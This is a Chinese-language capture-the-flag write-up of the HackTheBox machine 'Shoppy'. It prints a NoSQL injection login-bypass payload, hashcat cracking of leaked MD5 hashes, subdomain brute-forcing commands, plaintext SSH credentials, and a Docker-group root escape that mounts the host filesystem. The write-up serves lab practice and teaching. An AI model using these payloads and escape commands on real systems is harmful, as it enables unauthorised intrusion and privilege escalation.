March 2, 2023

Shoppy

image.png

考点

前期信息搜集

拿到靶机之后先进行信息收集:
首先先往hosts文件中加一下靶机的解析
sudo echo 10.10.11.180 shoppy.htb>>/etc/hosts
nmap -sS -sC -sV 10.10.11.180
image.png
开放了22端口和一个80端口,起了一个nginx网站,网站没有什么值得注意的特征,对网站的目录进行扫描搜集,发现了admin的登录界面:
image.png

NoSQL注入

image.png
登录抓包进行分析:
image.png
尝试爆破,但是无果,思路转向是否可以进行sql注入,使用万能密码和一些其他的方法都以失败告终,这时候就要思考是不是NoSQL注入
可以猜测NoSQL语句为username=='xxx'&&password=='xxx'
尝试payloadadmin'||1=='1或者1'||1=='1%00(猜测为PHP截断?):
这样语句查询就变为username=='admin'||1=='1&&password='1',由于与的优先级比或高,因此也就是(username=='admin')||(1=='1'&&password='1')
image.png

子域名爆破

admin界面有查询用户的功能,同样尝试使用nosql的万能密码:
image.png
出现了一个json数据单:
image.png
包含用户账号密码,密码经过了md5的编码,我们使用hashcat进行碰撞:
echo 23c6877d9e2b564ef8b32c3a23de27b2 >> hash.txt
echo 6ebcea65320589ca4f2f1ce039975995 >> hash.txt
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt

-m 指定hashcat的模式,默认为md5,而0表示的就是md5
后面指定密文和碰撞字典

image.png
admin的密码破解不了,但是josh用户的密码有了(这里有缓存,所以加了一个show直接显示),ssh登录无果,所以思路转向是否有别的子站呢?进行子域名爆破,这里我们使用gobuster进行爆破,当然也有其他很多优秀的脚本如wfuzz、ksudomain、oneforall
obuster vhost -w SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u shoppy.htb

vhost模式进行域名爆破,其他参数请看https://github.com/OJ/gobuster
-w 指定爆破字典
-t 50 线程为50
-u URL域名

不过这里我失败,gobuster有点毛病,所以又换成wfuzz了
wfuzz -c -w SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u 10.10.11.180 -H "Host: FUZZ.shoppy.htb" --hc 301

-c : 获得有色彩的结果
-w : 指定字典
-u : URL
-H : 域名
–hc : 屏蔽某种响应码

发现mattermost.shoppy.htb,同样添加一条解析到hosts文件,访问网站:
image.png

可以发现用户的聊天记录,找到了一组ssh用户密码:
username: jaeger
password: Sh0ppyBest@pp!

ssh连接靶机:
到这里获取第一个flag:
image.png
现在为非root权限,那么就需要寻找提权的方法,首先先sudo -l查看一波可以sudo运行的命令
image.png
image.png
发现文件/home/deploy/password-manager,是deploy用户的,进去康康:
image.png
其他用户没有运行的权限,那么我们把他下载下来拖进到IDEA分析康康,起一个python服务拿来下载:
pythoh3 -m http.server

逆向分析可执行文件

拿到文件后,可以再kali用radare2静态分析这个程序:
r2 password-manager
aaa //自动分析命名函数
afl //查看程序内的函数
image.png
找到了main函数,先定位到main
s main //定位到main
pdf //生成汇编代码
image.png
image.png
就算我不会汇编代码,我也看得出来这是要我们输入一个字符串,然后将字符串和Sample进行一一比对,所以密码就是Sample,输入Sample之后就会读取cred.txt文件:
image.png
用IDA分析也是一样的结果:
image.png
之后获取deploy用户的账号密码
image.png

Docker用户组提权

拿到之后再次进行SSH连接,发现属于Docker用户组:
image.png
可以看到有一个alpine镜像:
image.png
属于Docker用户组的用户和root用户都可以运行docker指令,因此有这个权限我们可以利用docker指令进行提权,这里有两种方法:
docker run -it -v /:/mnt alpine chroot /mnt sh
这个命令将容器外也就是靶机的根目录挂载到了容器内的mnt目录内,之后运行chroot /mnt sh,获取root权限

chroot 切换到指定目录,后面可以跟目录和进入目录后运行的指令
/mnt 进入的目录,mnt目录
sh 进入目录后的指令,也就是root

这里进入mnt也就等于进入了靶机的根目录,因此成功逃逸

还有一种方法就是docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
其实和第一种方法一个意思,挂载根目录,但是镜像chrisfosterelli/rootplease的启动指令就是chroot /hostOS sh实际上就是一样的

image.png
获取system的flag:
image.png

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#WriteUp#HackTheBox